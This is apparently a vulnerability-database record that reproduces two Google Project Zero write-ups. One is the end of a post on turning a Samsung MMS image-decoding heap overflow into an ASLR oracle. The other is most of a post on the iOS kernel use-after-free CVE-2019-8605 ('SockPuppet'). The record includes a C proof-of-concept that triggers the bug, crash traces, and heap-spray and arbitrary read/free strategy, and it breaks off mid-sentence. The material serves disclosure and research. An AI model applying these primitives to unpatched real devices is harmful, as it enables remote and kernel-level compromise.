also illustrated below:\n\n \n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBKThC0qdk_PnbmcU6P0c1ElUWQnfyyz4weIzF6hZXotCPxzyzpR5VFIcXyh6NcXdvaAxnQFc8Sad1mTq4gIBgLTqOZRXDo3QrFBpsPX3DWlyAhuh2caLFoORKshwAY6oL4zlIDTTrIu6RYj0TNj6WKNFf_mGXawh6Y7KDU9gnV9ZyUHSiPgxocGSR/s553/image2%285%29.png>)\n\nThis conversion logic gives us enormous flexibility in terms of the addresses we can trigger accesses to, and importantly, the data being read is just pixel colors, which are completely neutral to the control flow of the code. In the most basic scenario, we can leave the current state of the corrupted fields and make just two more changes:\n\n \n\n\n * fPixels (offset 0x18) \u2192 start of the probed address range\n\n * mInfo.fHeight (offset 0x64) \u2192 number of pages to probe\n\n \n\n\nThis will cause Skia to read four bytes in 0x1000 byte intervals, in mInfo.fHeight iterations, starting from the fPixels address. It is equivalent to probing the readability of an arbitrary continuous memory area \u2013 if all pages are mapped and readable, the loop will complete successfully and the app will stay alive; otherwise, it will crash while trying to access the first non-readable page in the tested range.\n\n \n\n\nAs always, we should confirm the behavior on a real device. We can start off with setting fPixels to an invalid address such as 0xccc...ccc, and sending the sample via MMS:\n\n \n\n\nFatal signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xcccccccccccccccc in tid 1101 (pool-8-thread-1), pid 848 (droid.messaging)\n\n*** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***\n\n[...]\n\n \n\n\nbacktrace:\n\n#00 pc 00000000006fb210 /system/lib64/libhwui.so (neon::RGBA_to_BGRA(unsigned int*, unsigned int const*, int)+96)\n\n#01 pc 00000000003b5410 /system/lib64/libhwui.so (_ZL17swizzle_or_premulRK11SkImageInfoPvmS1_PKvmRK22SkColorSpaceXformSteps.llvm.9990621564539140211+208)\n\n#02 pc 00000000003b5114 /system/lib64/libhwui.so (SkConvertPixels(SkImageInfo const&, void*, unsigned long, SkImageInfo const&, void const*, unsigned long)+156)\n\n#03 pc 00000000004f26c0 /system/lib64/libhwui.so (SkPixmap::readPixels(SkImageInfo const&, void*, unsigned long, int, int) const+312)\n\n#04 pc 0000000000185fb8 /system/lib64/libandroid_runtime.so (bitmapCopyTo(SkBitmap*, SkColorType, SkBitmap const&, SkBitmap::Allocator*)+384)\n\n#05 pc 000000000018397c /system/lib64/libandroid_runtime.so (Bitmap_copy(_JNIEnv*, _jobject*, long, int, unsigned char)+284)\n\n[...] \n \n--- \n \n \n\n\nA sigsegv is indeed generated upon a read from the bad address in the color conversion function. Let's try something more complex. On my test device, the last mapping in the address space of the com.samsung.android.messaging process is a stack:\n\n \n\n\n7fdf319000-7fdfb18000 rw-p 00000000 00:00 0 [stack] \n \n--- \n \n \n\n\nTo verify that our oracle primitive touches each page in the given area, we can set fPixels to 0x7fdfb10000 (eight pages before the end of the stack), and mInfo.fHeight to 10. As a result, we should see the following crash:\n\n \n\n\nFatal signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x7fdfb18000 in tid 1630 (pool-8-thread-1), pid 1500 (droid.messaging) \n \n--- \n \n \n\n\nThe fault address lies directly after the stack mapping, which indicates that the loop successfully executed eight iterations, and failed during the ninth, when it went out of bounds. This completes our quest for a suitable ASLR oracle primitive, as it ultimately shows that we can now remotely trigger memory reads of a highly-controllable set of addresses in the context of the attacked Messages app.\n\n## Summary\n\nTo recap, we have analyzed the available memory corruption bugs based on pseudo-ASAN crash reports, and decided to work with a linear heap overflow present in RLE decompression. The overflown buffer is a pixel storage allocation associated with an android::Bitmap object, and thanks to some useful jemalloc properties (determinism, size bins, lack of inline metadata), we found a way to reliably corrupt the relevant Bitmap object itself.\n\n \n\n\nThe Bitmap class is non-trivial, and it provides a variety of useful primitives when corrupted. In order to hijack the control flow, we can provoke a call from an arbitrary vtable pointer, or cause a direct call to a controlled function pointer with two arguments, if we know the address of libhwui.so. Furthermore, in the context of a potential ASLR bypass, we can prompt accesses from a controlled memory range, which may trigger a crash or not depending on the readability of the region. This is as good as we're going to get with regards to low-level exploitation capabilities.\n\n \n\n\nWith solid foundations laid down for the attack, we can shift our attention to some important higher level issues, such as:\n\n \n\n\n * How to programmatically send MMS messages?\n\n * How to (ab)use the MMS protocol to leak information on whether the Messages app crashed upon the receipt of a message?\n\n * Even with the presence of a potential side channel, how to disclose the full addresses of data and/or code in an effective and timely manner?\n\n * Finally, how to convert the currently known RCE primitives to achieve actual arbitrary code execution?\n\n \n\n\nFinding the answers to these questions will be the subject of the upcoming blog posts in the series.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-07-28T00:00:00", "type": "googleprojectzero", "title": "\nMMS Exploit Part 3: Constructing the Memory Corruption Primitives\n", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8641"], "modified": "2020-07-28T00:00:00", "id": "GOOGLEPROJECTZERO:76E99C997C0BF24DFC97575D112E2FE8", "href": "https://googleprojectzero.blogspot.com/2020/07/mms-exploit-part-3-constructing-primitives.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-06-07T02:00:20", "description": "Posted by Ned Williamson, 20% on Project Zero \n\n\n# Introduction\n\nI have a somewhat unique opportunity in this writeup to highlight my experience as an iOS research newcomer. Many high quality iOS kernel exploitation writeups have been published, but those often feature weaker initial primitives combined with lots of cleverness, so it\u2019s hard to tell which iOS internals were specific to the exploit and which are generic techniques.\n\n** \n**\n\nIn this post, we\u2019ll look at CVE-2019-8605, a vulnerability in the iOS kernel and macOS for five years and how to exploit it to achieve arbitrary kernel read/write. This issue affected XNU as early as 2013, and was reported by me to Apple on March 2019. It was then patched in iOS 12.3 in May 2019 and I [released](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1806>) the complete details including the exploit for iOS for analysis, named \u201cSockPuppet,\u201d in July 2019. It was then discovered that this issue regressed in iOS 12.4 and was later patched in iOS 12.4.1 in late August 2019.\n\n** \n**\n\nThe primitive in SockPuppet is stronger than usual: it offers an arbitrary read and free with very little work. This makes it easier to see what a canonical iOS exploit looks like since we can skip over the usual work to set up strong initial primitives. I\u2019ll begin by describing how I found my bug, and then explain how I exploited it given only a background in Linux and Windows exploitation. If you\u2019re interested, I\u2019ve collaborated with LiveOverflow to make a video explaining this bug. You can watch it [here](<https://www.youtube.com/watch?v=YV3jewkUJ54>).\n\n# Bug Hunting\n\n## Why network fuzzing?\n\nOne technique for choosing fuzz targets is enumerating previous vulnerability reports for a given project, finding the bug locations in the source tree, and then picking up a component of the project that is self-contained and contains a diverse subset of the bugs. Then by creating a fuzzer which is fairly generic but can still reproduce the previous finds, you are likely to find new ones. When I started to work on my fuzzer, I used two bug reports to seed my research: an [mptcp_usr_connectx buffer overflow](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1558>) by Ian Beer of Google Project Zero and an [ICMP packet parsing buffer overflow](<https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407>) by Kevin Backhouse of Semmle. What made these perfect candidates was that they were critical security issues in completely different parts of the same subsystem: one in the network-related syscalls and one in parsing of remote packets. If I could make a fuzzer that would make random network-related syscalls and feed random packets into the IP layer, I might be able to reproduce these bugs and find new ones. Those past bugs were discovered using code auditing and static analysis, respectively. As someone who primarily uses fuzzing to find memory corruption vulnerabilities, these are highly useful artifacts for me to study, since they come from some of the best practitioners of auditing and static analysis in the industry. In case I failed to reproduce the bugs or find any new ones, it would at least be an educational project for me. Success would validate that my approach was at least as good as the approaches originally used to discover these bugs. Failure would be an example of a gap in my approach.\n\n** \n**\n\nThe first draft of the fuzzer went off without a hitch: it found Ian\u2019s and Kevin\u2019s bugs with actionable ASAN reports. Even better, for the ICMP buffer overflow it crashed exactly on the line that Ian described in his email to Kevin as described on Semmle\u2019s blog. When I saw how accurate and effective this was, I started to get really excited. Even better, my fuzzer went on to find a variant of the ICMP bug that I didn\u2019t see mentioned publicly, but was fortunately addressed in Apple\u2019s thorough patch for the vulnerability.\n\n## From Protobuf to PoC\n\nThe exact details of how the fuzzer works will be described in a future post, but some context is necessary to understand how this specific bug was found. At a high level, the fuzzer\u2019s design is a lot like that of [syzkaller](<https://github.com/google/syzkaller>). It uses a [protobuf-based grammar](<https://github.com/google/libprotobuf-mutator>) to encode network-related syscalls with the types of their arguments. On each fuzzer iteration, it does a sequence of random syscalls, interleaving (as a pseudo-syscall) the arrival of random packets at the [network layer](<https://en.wikipedia.org/wiki/Network_layer>).\n\n** \n**\n\nFor example, the syscall to open a socket is int socket(int domain, int type, int protocol). The protobuf message representing this syscall and its arguments is:\n\n** \n**\n\nmessage Socket {\n\nrequired Domain domain = 1;\n\nrequired SoType so_type = 2;\n\nrequired Protocol protocol = 3;\n\n}\n\n \n\n\nenum Domain {\n\nAF_UNSPEC = 0;\n\nAF_UNIX = 1;\n\nAF_INET = 2;\n\n...\n\nAF_MAX = 40;\n\n}\n\n \n\n\nenum SoType {\n\nSOCK_STREAM = 1;\n\nSOCK_DGRAM = 2;\n\nSOCK_RAW = 3;\n\nSOCK_RDM = 4;\n\nSOCK_SEQPACKET = 5;\n\n}\n\n \n\n\nenum Protocol {\n\nIPPROTO_IP = 0;\n\nIPPROTO_ICMP = 1;\n\nIPPROTO_IGMP = 2;\n\nIPPROTO_GGP = 3;\n\n...\n\n} \n \n--- \n \n** \n**\n\nLibFuzzer and protobuf-mutator work together to generate and mutate protobuf messages using the format I defined. Then I consume these messages and call the real C implementation. The fuzzer might generate the following protobuf message as part of the sequence of messages representing syscalls:\n\n** \n**\n\nsocket {\n\ndomain: AF_INET6\n\nso_type: SOCK_STREAM\n\nprotocol: IPPROTO_IP\n\n} \n \n--- \n \n** \n**\n\nIn the loop over input syscall messages, I call the syscall appropriately based on the message type:\n\n** \n**\n\nstd::set<int> open_fds;\n\n \n\n\n// ...\n\ncase Command::kSocket: {\n\nint fd = 0;\n\nint err = socket_wrapper(command.socket().domain(),\n\ncommand.socket().so_type(),\n\ncommand.socket().protocol(), &fd);\n\nif (err == 0) {\n\nassert(open_fds.find(fd) != open_fds.end());\n\nopen_fds.insert(fd);\n\n}\n\nbreak;\n\n} \n \n--- \n \n** \n**\n\nHere, you can see some of the light manual work that is involved: I keep track of open file descriptors by hand, so I can be sure to close them at the end of one fuzzer iteration.\n\n** \n**\n\nThe fuzzer started out by simply encoding all the network-related syscalls into messages that had the correct types for each argument. To improve coverage, I refined the grammar and made changes to the code under test. Because there is so much code to cover, the most efficient way to find bugs is to identify suspicious-looking code manually by auditing. Given our fuzzing infrastructure, we can look at the coverage metrics to understand how well-tested some suspicious code is and tweak the fuzzer to uniformly exercise desired states. That may be at a higher level of abstraction than code coverage alone, but coverage will still help you identify if and how often a certain state is reached.\n\n** \n**\n\nNow let\u2019s see how refining the fuzz grammar led us from a low-quality crash to a clean and highly exploitable PoC. The testcase triggering the first crash for CVE-2019-8605 only affected raw sockets, and was therefore root only. Here\u2019s the reproducer I submitted to Apple:\n\n \n\n\n#define IPPROTO_IP 0\n\n \n\n\n#define IN6_ADDR_ANY { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 }\n\n#define IN6_ADDR_LOOPBACK { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 }\n\n \n\n\nint main() {\n\nint s = socket(AF_INET6, SOCK_RAW, IPPROTO_IP);\n\nstruct sockaddr_in6 sa1 = {\n\n.sin6_len = sizeof(struct sockaddr_in6),\n\n.sin6_family = AF_INET6,\n\n.sin6_port = 65000,\n\n.sin6_flowinfo = 3,\n\n.sin6_addr = IN6_ADDR_LOOPBACK,\n\n.sin6_scope_id = 0,\n\n};\n\nstruct sockaddr_in6 sa2 = {\n\n.sin6_len = sizeof(struct sockaddr_in6),\n\n.sin6_family = AF_INET6,\n\n.sin6_port = 65001,\n\n.sin6_flowinfo = 3,\n\n.sin6_addr = IN6_ADDR_ANY,\n\n.sin6_scope_id = 0,\n\n};\n\nconnect(s, (const sockaddr*)&sa1, sizeof(sa1));\n\nunsigned char buffer[4] = {};\n\nsetsockopt(s, 41, 50, buffer, sizeof(buffer));\n\nconnect(s, (const sockaddr*)&sa2, sizeof(sa2));\n\nclose(s);\n\n} \n \n--- \n \n** \n**\n\nAs this C reproducer was modelled directly after the protobuf testcase, you can see how my early grammar had lots of precision for sockaddr structures. But setsockopt was horribly underspecified: it just took 2 integers and a random buffer of data. Fortunately, that was enough for us to guess 41 (IPPROTO_IPV6) and 50 (IPV6_3542RTHDR), correctly setting an IPv6 output option.\n\n** \n**\n\nLooking at the ASAN report for the use after free, we see the following stack trace for the free:\n\n \n\n\n#0 0x497a3d in free _asan_rtl_:3\n\n#1 0x7f8bbe5f42cd in in6_pcbdetach /src/bsd/netinet6/in6_pcb.c:681:3\n\n#2 0x7f8bbe6b06d0 in rip6_detach /src/bsd/netinet6/raw_ip6.c:829:2\n\n#3 0x7f8bbe6af680 in rip6_abort /src/bsd/netinet6/raw_ip6.c:837:9\n\n#4 0x7f8bbe6b0795 in rip6_disconnect /src/bsd/netinet6/raw_ip6.c:848:9\n\n#5 0x7f8bbe10132f in sodisconnectlocked /src/bsd/kern/uipc_socket.c:1792:10\n\n#6 0x7f8bbe1028dc in soconnectlock /src/bsd/kern/uipc_socket.c:1664:15\n\n#7 0x7f8bbe133e00 in connectit /src/bsd/kern/uipc_syscalls.c:954:10\n\n#8 0x7f8bbe133b25 in connect_nocancel /src/bsd/kern/uipc_syscalls.c:726:10\n\n#9 0x7f8bbe6f22b4 in connect_wrapper /src/fuzzing/syscall_stubs.c:125:7 \n \n--- \n \n** \n**\n\nLooking at the function that actually calls free, we see the following:\n\n \n\n\nvoid\n\nin6_pcbdetach(struct inpcb *inp)\n\n{\n\n// ...\n\nif (!(so->so_flags & SOF_PCBCLEARING)) {\n\nstruct ip_moptions *imo;\n\nstruct ip6_moptions *im6o;\n\n \n\n\ninp->inp_vflag = 0;\n\nif (inp->in6p_options != NULL) {\n\nm_freem(inp->in6p_options);\n\ninp->in6p_options = NULL; // <\\- good\n\n}\n\nip6_freepcbopts(inp->in6p_outputopts); // <\\- bad, dangling pointer\n\nROUTE_RELEASE(&inp->in6p_route);\n\n// free IPv4 related resources in case of mapped addr\n\nif (inp->inp_options != NULL) {\n\n(void) m_free(inp->inp_options);\n\ninp->inp_options = NULL; // <\\- good\n\n}\n\n// ... \n \n--- \n \n** \n**\n\nThe call to ip6_freepcbopts is the culprit here. In my fuzzer build this function was inlined into ipc6_pcbdetach, which explains the backtrace we saw in the bug report. As you can see, the developers intended for the socket options to be reused in some cases by NULLing out each pointer after it was freed. But because the in6p_outputopts are represented by a pointer to another struct, they are freed by the helper function in6_freepcbopts. That function does not know the address of inp, so it cannot clear &inp->in6p_outputopts, as we can see the code in this snippet neglects to do. This bug does look straightforward upon inspection, but the ROUTE_RELEASE on the following line, for example, is safe because it\u2019s modifying the in6p_route stored inline in the inp and correctly NULLing pointers. Older XNU revisions didn\u2019t NULL anything, and either they were all buggy or this code just wasn\u2019t originally designed to account for reuse of the socket.\n\n** \n**\n\nThe freed buffer was created by a call to setsockopt. This is a hint that we might be able to keep accessing the freed buffer with more calls to getsockopt and setsockopt, which would represent read and write primitives respectively. The initial testcase looked like a really specific edge case in raw sockets, so I figured it wasn\u2019t easily exploitable. Whenever I report a bug, I will create a local patch for it to avoid hitting it again in subsequent fuzzing. But because I wanted to find more variants of it, I just disabled raw sockets in my fuzzer with a one line enum change and left the bug intact.\n\n** \n**\n\nThis would prove to be the right idea. I quickly found a new variant that let you read the use-after-free data using getsockopt via a TCP socket, so it worked inside the iOS app sandbox. Awesome! After some quick trial and error I saw that setsockopt wouldn\u2019t work for sockets that have been disconnected. But letting the fuzzer continue to search for a workaround for me was free, so again I worked around the unexploitable testcase and left the bug intact by adding a workaround specifically for the getsockopt case:\n\n \n\n\n// HACK([nedwill](<https://who.corp.google.com/nedwill>)): this prevents us from seeing the trivial read UaF case\n\nif (in6p->inp_state == INPCB_STATE_DEAD) {\n\nerror = 0;\n\nbreak;\n\n}\n\n// Normal handler\n\nerror = ip6_getpcbopt(in6p->in6p_outputopts, optname, sopt); \n \n--- \n \n** \n**\n\nBy this point I realized that setsockopt was an important source of complexity and bugs. I updated the grammar to better model the syscall by confining the name argument for setsockopt to be only valid values selected from an enum. You can see the change below, where SocketOptName enum now specifies a variety of real option names from the SO, TCP, IPV6, and other levels.\n\n \n\n\nmessage SetSocketOpt {\n\noptional Protocol level = 1;\n\n- optional int32 name = 2;\n\n+ optional SocketOptName name = 2;\n\n// TODO([nedwill](<https://who.corp.google.com/nedwill>)): structure for val\n\noptional bytes val = 3;\n\noptional FileDescriptor fd = 4;\n\n}\n\n \n\n\nenum SocketOptName {\n\n+ option allow_alias = true;\n\n+\n\n+ /* socket.h */\n\n+ SO_DEBUG = 0x0001; /* turn on debugging info recording */\n\n+ SO_ACCEPTCONN = 0x0002; /* socket has had listen() */\n\n+ SO_REUSEADDR = 0x0004; /* allow local address reuse */\n\n+ SO_KEEPALIVE = 0x0008; /* keep connections alive */\n\n+ SO_DONTROUTE = 0x0010; /* just use interface addresses */\n\n+ SO_BROADCAST = 0x0020; /* permit sending of broadcast msgs */\n\n... \n \n--- \n \n** \n**\n\nThese changes were the critical ones that led to the highly exploitable testcase. By allowing the fuzzer to explore the setsockopt space much more efficiently, it wasn\u2019t long before it synthesized a testcase that wrote to the freed buffer. When I looked at the crashing input, was stunned to see this in the decoded protobuf data:\n\n \n\n\nset_sock_opt {\n\nlevel: SOL_SOCKET\n\nname: SO_NP_EXTENSIONS\n\nval: \"\\267\\000\\000\\000\\001\\000\\000\\000\"\n\nfd: FD_0\n\n} \n \n--- \n \n** \n**\n\nWhat is that SO_NP_EXTENSIONS option? And why did inserting this syscall into the testcase turn it from a memory disclosure into an exploitable memory corruption? Quickly skimming through the SO_NP_EXTENSIONS handling in XNU I realized that we were hitting this:\n\n \n\n\n#define SONPX_SETOPTSHUT 0x000000001 /* flag for allowing setsockopt after shutdown */ \n \n--- \n \n** \n**\n\nI think every vulnerability researcher can relate to the moment when they realize they have a great bug. This was that moment for me; that comment described the exact scenario I needed to turn my use-after-free-read into a use-after-free-write. Transcribing the full testcase to C yields the following:\n\n \n\n\nint s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);\n\n \n\n\n// Permit setsockopt after disconnecting (and freeing socket options)\n\nstruct so_np_extensions sonpx = {.npx_flags = SONPX_SETOPTSHUT, .npx_mask = SONPX_SETOPTSHUT};\n\nsetsockopt(s, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, sizeof(sonpx));\n\n \n\n\n// Initialize ip6_outputopts\n\nint minmtu = -1;\n\nsetsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu));\n\n \n\n\n// Free ip6_outputopts\n\ndisconnectx(s, 0, 0);\n\n \n\n\n// Write to ip6_outputopts\n\nsetsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, &minmtu, sizeof(minmtu)); \n \n--- \n \n** \n**\n\nIn effect, the fuzzer managed to guess the following syscall:\n\n \n\n\nstruct so_np_extensions sonpx = {.npx_flags = SONPX_SETOPTSHUT, .npx_mask = SONPX_SETOPTSHUT};\n\nsetsockopt(s, SOL_SOCKET, SO_NP_EXTENSIONS, &sonpx, sizeof(sonpx)); \n \n--- \n \n \nI was surprised to see this because I completely expected the use after free to be triggered in another way. What\u2019s really cool about combining grammar based fuzzing with coverage feedback is that specifying the enums that represent the level and name options along with a raw buffer for the \u201cval\u201d field was enough to find this option and set it correctly. This meant the fuzzer guessed the length (8) of val and the data representing SONPX_SETOPTSHUT (low bit set for each little-endian dword). We can infer that the fuzzer tried the SO_NP_EXTENSIONS option many times before discovering that a length of 8 was notable in terms of additional coverage. Then this set_sock_opt message was propagated throughout the corpus as it was mixed with other relevant testcases, including the one that triggered my original bug. Then ensuring two bits in val were set was just a 1 in 4 guess. The same setsockopt call that setup the buggy state was called again to trigger the use after free, which was another shallow mutation made by the protobuf-mutator, just cloning one member of the syscall sequence. Writing effective fuzzers involves a lot of thinking about probability, and you can see how by giving the fuzzer manually-defined structure in just the right places, it managed to explore at an abstraction level that found a great PoC for this bug.\n\n** \n**\n\nI hope you enjoyed this insight into the bug hunting process. For more background about getting started with this fuzzing approach, take a look at [syzkaller](<https://lwn.net/Articles/677764/>) and this [tutorial](<https://github.com/google/fuzzer-test-suite/blob/master/tutorial/structure-aware-fuzzing.md>).\n\n# Exploitation\n\n## How use after free works\n\nThe exploit I\u2019m about to describe uses a single use after free bug to get a safe and reliable arbitrary read, defeat ASLR, do an arbitrary free, and ultimately allow us to build an arbitrary read/write mechanism. That\u2019s a lot of responsibility for one bug, so it\u2019s worth giving a little background into how use-after-frees work for readers who have never exploited one before. I vividly remember when I read a [post by Chris Evans](<https://googleprojectzero.blogspot.com/2015/06/what-is-good-memory-corruption.html>) right here on this blog, called \u201cWhat is a \u2018good\u2019 memory corruption vulnerability?\u201d When I downloaded and ran Chris\u2019s canonical use after free demonstration, and the \u201cexploit\u201d worked the first try on my laptop, I was instantly struck by the simplicity of it. Since then, I\u2019ve written several real world use after free exploits, and they all stem from the same insight: it\u2019s much easier than you would think to reclaim a freed buffer with controlled data. As long as a buffer is not allocated from a specialized pool (PartitionAlloc, a slab heap, etc.), objects of approximately the same size, i.e., in the same size class, will be mixed between different callers of malloc and free. If you can cause arbitrary allocations that are the same size from your freed object\u2019s size class you can be pretty sure that you will reclaim the freed data quickly. This is by design: if memory allocators did not behave this way, applications would lose performance by not reusing cache lines from recently freed allocations. And if you can tell whether or not you succeeded in reclaiming your freed buffer, exploitation is almost deterministic. So then, what makes a good UaF bug? If you can control when you free, when you use the freed allocation, and can safely check whether you\u2019ve reclaimed it (or can massage the heap to make reclaiming deterministic), exploitation will be straightforward. This is at least how a CTF teammate explained it to me, and it still holds today against real targets. The bug we are looking at in this post is one of those bugs, and for that reason, it\u2019s about as \u201cnice\u201d as memory corruption gets.\n\n## Bootstrapping better primitives\n\nGenerally the end goal of binary exploitation is to get arbitrary code execution, sometimes referred to as \u201cshellcode\u201d when that arbitrary code spawns a shell for you on the target system. For iOS, the situation is slightly more complicated with the addition of PAC, which introduces a security boundary between kernel memory R/W and kernel code execution. This means our bug will serve as an entrypoint to get kernel memory R/W using a data-based attack, with code execution left to another layer of exploitation.\n\n** \n**\n\nTo start the exploit, I thought it would be interesting to see what primitives I could build without knowing Mach specifics. Mach and BSD are the Yin and Yang of XNU, representing a dual view of many fundamental kernel objects. For example, a process is represented twice in the kernel: once as a Mach task and once as a BSD proc. My bug occurs in the BSD half, and most exploits end up getting control of a highly privileged Mach port. This means we\u2019ll need to figure out how to manipulate Mach data structures starting from our corruption on the BSD side. At this point I was still only familiar with the BSD part of the kernel, so I started my research there.\n\n** \n**\n\nHere\u2019s the inpcb containing the dangling inp6_outputopts pointer:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj951UbWmv47ile00Xjfkd5UUiRp_iNiUzxJH36qkC3ieu8Cq6jE_E_en6SyR8uQBjQDPrOLwgkQb4g-rFmDTC9Cbi_Eq8Y_ejv5y8SALZ0PLn-Sb2g088ozGnyEbo8b6RAbRUhSf7ibQBsD55O-88O4m7kAn7Npbs4mSsWwjpNzGEADPaNt9fcEDm_/s1135/1-1.png>)\n\nLooking at the getters and setters for these options via [get/set]sockopt, we quickly see that fetching the integers for the minmtu and the prefer_tempaddr fields is straightforward and will let us read data directly out of the freed buffer. We can also freely read 20 bytes from the in6po_pktinfo pointer if we manage to reclaim it. Take a look at this snippet from the ip6_getpcbopt implementation yourself:\n\n** \n**\n\ncase IPV6_PKTINFO:\n\nif (pktopt && pktopt->ip6po_pktinfo)\n\noptdata = (void *)pktopt->ip6po_pktinfo;\n\nelse {\n\n/* XXX: we don't have to do this every time... */\n\nbzero(&null_pktinfo, sizeof (null_pktinfo));\n\noptdata = (void *)&null_pktinfo;\n\n}\n\noptdatalen = sizeof (struct in6_pktinfo); // 20 bytes\n\nbreak;\n\n \n\n\ncase IPV6_USE_MIN_MTU:\n\nif (pktopt)\n\noptdata = (void *)&pktopt->ip6po_minmtu;\n\nelse\n\noptdata = (void *)&defminmtu;\n\noptdatalen = sizeof (int);\n\nbreak;\n\n \n\n\ncase IPV6_PREFER_TEMPADDR:\n\nif (pktopt)\n\noptdata = (void *)&pktopt->ip6po_prefer_tempaddr;\n\nelse\n\noptdata = (void *)&defpreftemp;\n\noptdatalen = sizeof (int);\n\nbreak; \n \n--- \n \n** \n**\n\nip6po_minmtu and ip6po_prefer_tempaddr are adjacent to each other and qword-aligned so if we manage to reclaim this freed struct with some other object containing a pointer we will be able to read out the pointer and defeat ASLR. We can also take advantage of these fields by using them as an oracle for heap spray success. We spray objects containing an arbitrary pointer value we choose at a location that overlaps the in6po_pktinfo field and a magic value in the mintmu field. This way we can repeatedly read out the minmtu field, so if we see our magic value we know it is safe to dereference the pointer in in6po_pktinfo. It is generally safe to read the inp6_outputopts because we know it is already mapped, but not in6po_pktinfo as it could have been reclaimed by some other garbage that points to unmapped or unreadable memory. Before we talk about which object we spray to leak a pointer and how to spray arbitrary data, let\u2019s quickly figure out what primitive we can build from the setsockopt corruption.\n\n** \n**\n\nUnfortunately, the setsockopt path, unlike the getsockopt path, is not as easy to use as it first appears. Most of the relevant options are root only or are highly constrained. This still leaves IPV6_2292PKTINFO/IPV6_PKTINFO as the best option, but in testing and reading the code it appeared impossible to write anything but highly constrained values there. The ipi6_addr field, which looks perfect for writing arbitrary data, must be set to 0 to pass a check that it is unspecified. And the interface index has to be valid, which constrains us to low values. If the interface is 0, it frees the options. This means we can only write 16 null bytes plus a small non-zero 4 byte integer anywhere in memory. That\u2019s certainly enough for exploitation, but what about the free case? As long as you pass in a pktinfo struct containing 20 null bytes, ip6_setpktopt will call ip6_clearpktopts for you, which finally calls FREE(pktopt->ip6po_pktinfo, M_IP6OPT). Remember, in6po_pktinfo is our controlled pointer, so this means we have an arbitrary free. Even better, it\u2019s a bare free, meaning we can free any object without knowing its zone. That\u2019s because FREE is a wrapper for kfree_addr, which looks up the zone on your behalf. To keep late stage exploitation generic, I opted for the arbitrary free primitive over the constrained write primitive.\n\n### Implementing and testing the heap spray\n\nNow that we have an attack plan, it\u2019s just a matter of figuring out a way to spray the heap with controlled data. Fortunately for us, there is already a well-known way to do this via IOSurface, and even better, Brandon Azad (@_bazad) already had some code to do it! After some debugging and integration into my exploit, I had a working \u201cstage 1\u201d abstraction that could read and free an arbitrary address, by reclaiming and checking the minmtu magic value as described above. This IOSurface technique was used as early as 2016 as part of an [in-the-wild exploit chain](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-1.html>) for 10.0.1-10.1.1.\n\n** \n**\n\nWhen testing on different iOS devices and versions, I found that spray behavior was different. What was fast and reliable on one device was unreliable on another. Fortunately, improvements for one device generally benefited all platforms and versions, so I didn\u2019t need to worry about maintaining multiple spray patterns per-platform. Some of the parameters involved here are the number of objects to spray per attempt, how many times to retry, and the order in which to make allocations of both the sprayed and (use-after-)freed socket options. Understanding heap allocator internals across versions and devices would be ideal, but I found experimentation was sufficient for my purposes. This is a CTF insight; I used to solve Linux heap problems by reading glibc and carefully planning out an exploit on paper. A couple years later, the popular approach had shifted (at least for me) to using tools to inspect the state of the heap, and iterating quickly to check how high level modifications to the exploit would change the heap layout. Of course, I didn\u2019t have such tooling on iOS. But by checking the minmtu value, I did have a safe oracle to test spray performance and reliability, so it was quick to iterate by hand. When iOS 12.4 regressed and reintroduced this vulnerability, I tested the exploit against an iPhone XR and found that the spray failed often. But after changing the order in which I did sprays (creating a new dangling pointer after each spray attempt, instead of all at once in the beginning), success became quick and reliable again. I have no doubt that keeping a good understanding of the internals is superior, but treating this like an experimental black box is pretty fun.\n\n** \n**\n\nWhat makes the SockPuppet exploit fast? Other exploits often rely on garbage collection in order to get their freed object reallocated across a zone. Because all of the objects I used were in the same generic size-based zone, I needed fewer allocations to succeed, and I didn\u2019t have to trigger and wait for garbage collection.\n\n## Learning about tfp0\n\nAt this point, I have stretched the initial bug to its limits, and that has given me an arbitrary read and an arbitrary free. With this we can now create a new use after free where there was never a bug in the original code. I took a look around for any cute shallow tricks that others might have overlooked in the BSD part of the kernel tree before accepting that the Mach exploitation path offers some nice facilities for kernel exploitation, and so it was time to learn it.\n\n** \n**\n\nIf you follow iOS kernel exploitation even casually, you\u2019ve probably heard of \u201ctfp0.\u201d So what is it exactly? It\u2019s a short name for task_for_pid, which returns to you a Mach port with a send right to the task with the given pid. When you call it with pid 0, this gives you the kernel task port. A port is one of the fundamental primitives of Mach. It\u2019s like a file descriptor that is used to represent message queues. Every such message queue in the kernel has one receiver, and potentially multiple senders. Given a port 